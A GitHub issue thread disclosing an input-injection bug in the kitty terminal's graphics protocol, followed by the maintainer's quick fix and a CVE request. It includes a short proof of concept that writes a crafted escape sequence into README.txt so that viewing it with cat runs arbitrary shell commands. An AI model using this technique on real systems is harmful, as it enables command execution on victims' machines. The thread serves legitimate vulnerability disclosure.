New issue

Jump to bottom

Input injection via graphic protocol #3128

Closed schauveau opened this issue on Nov 29, 2020 · 9 comments

Labels bug

schauveau commented on Nov 29, 2020

Describe the bug
When attempting to load an image file, the graphic protocol can reply with a message containing the faulty image filename in a decoded form (i.e. not base64) thus allowing for arbitrary input to be inserted.

To Reproduce
Here is a simple example showing how an attacker could craft a README.txt file that would cause the execution of arbitrary commands when displayed using `cat` on kitty.

```
# Creation of a base64 encoded fake filename containing the shell commands
# to be executed. Here, I am attempting to execute "date" and "uname -a".
# The commands must be separated by \r (to emulate the RETURN key).
COMMANDS=$(echo -ne "\rdate\runame -a\r" | base64 -w 0)
# Creation of a regular text file containing the input injection via escape sequence
echo -en "\e_Gi=666,f=100,t=f;$COMMANDS\e\\" > README.txt
```

In Kitty, run `cat README.txt` from the shell prompt to perform the input injection

```
(bash) ls -l README.txt
-rw-r--r-- 1 xxxxxxx xxxxxxxxx 53 Nov 29 07:01 README.txt
(bash) cat README.txt
(bash) README.txtGi=666;EBADF:Failed to open file
bash: README.txtGi=666: command not found
bash: EBADF:Failed: command not found
(bash) date
Sun 29 Nov 2020 07:18:56 AM CET
(bash) uname -a
Linux brin 5.8.0-2-amd64 #1 SMP Debian 5.8.10-1 (2020-09-19) x86_64 GNU/Linux
(bash)  for graphics transmission with error: [2] No such file or directory
```

Remark: The other failed commands are caused by the rest of the escape reply. The input sequence ESC+underscore is typically interpreted by readline as the command yank-last-arg thus causing the last argument of the last command (in that case, that is "README.txt") to be inserted.

schauveau added the bug label on Nov 29, 2020

kovidgoyal closed this as completed in 82c1378 on Nov 29, 2020

schauveau commented on Nov 29, 2020 Author

Humm... closed after 7 minutes ...
I'll filled a bug report to my distrib (Debian). Hopefully, they take security issues a bit more seriously.

kovidgoyal commented on Nov 29, 2020 Owner

Seriously, you are complaining that I fixed your bug in seven minutes?

👎 1 😆 3 😕 1

schauveau commented on Nov 29, 2020 Author

Sorry! Closing a bug without any comment is usually a sign that it was rejected.

schauveau commented on Nov 29, 2020 Author

I probably missed the commit message or my page did not refresh correctly.

kovidgoyal commented on Nov 29, 2020 Owner

No worries, the point is the bug is fixed.

madblobfish commented on Dec 21, 2020

Hi **@schauveau**
can you link the Debian bug?
Do you know if a CVE was requested for this? If not one should be requested.

schauveau commented on Dec 21, 2020 Author

The Debian bug was ready to go but I do not remember sending it. The problem was fixed very quickly by **@kovidgoyal**
There was a misunderstanding on my side regarding why the github ticket was closed.
However, this is potentially a major security risk so the problem should probably be reported to all distributions that distribute Kitty.

madblobfish commented on Dec 21, 2020 • edited

@schauveau reporting this to the distributions is the usecase for CVEs.
So if you did not request one I will request one and link its ID it here.

Edit: I submitted a request via MITRE CVE formular.
Edit2: for future cases I recommend sending security issues to the debian security team so that they will fetch a CVE (afaik this only works because they package it). I had to use the MITRE formular because they (Debian) only want to assign CVEs for undisclosed issues, see here.
Hope that this is fine for you **@kovidgoyal**, if I reported anything wrong you can still request an update of the CVE.

madblobfish commented on Dec 22, 2020

Its CVE-2020-35605.

👍 1 ❤️ 1

mweinelt added a commit to mweinelt/nixpkgs that referenced this issue on Dec 26, 2020

`kitty: fix CVE-2020-35605` ··· `0baa56f`

Assignees
No one assigned

Labels
bug

Projects
None yet

Milestone
No milestone

Development
No branches or pull requests

3 participants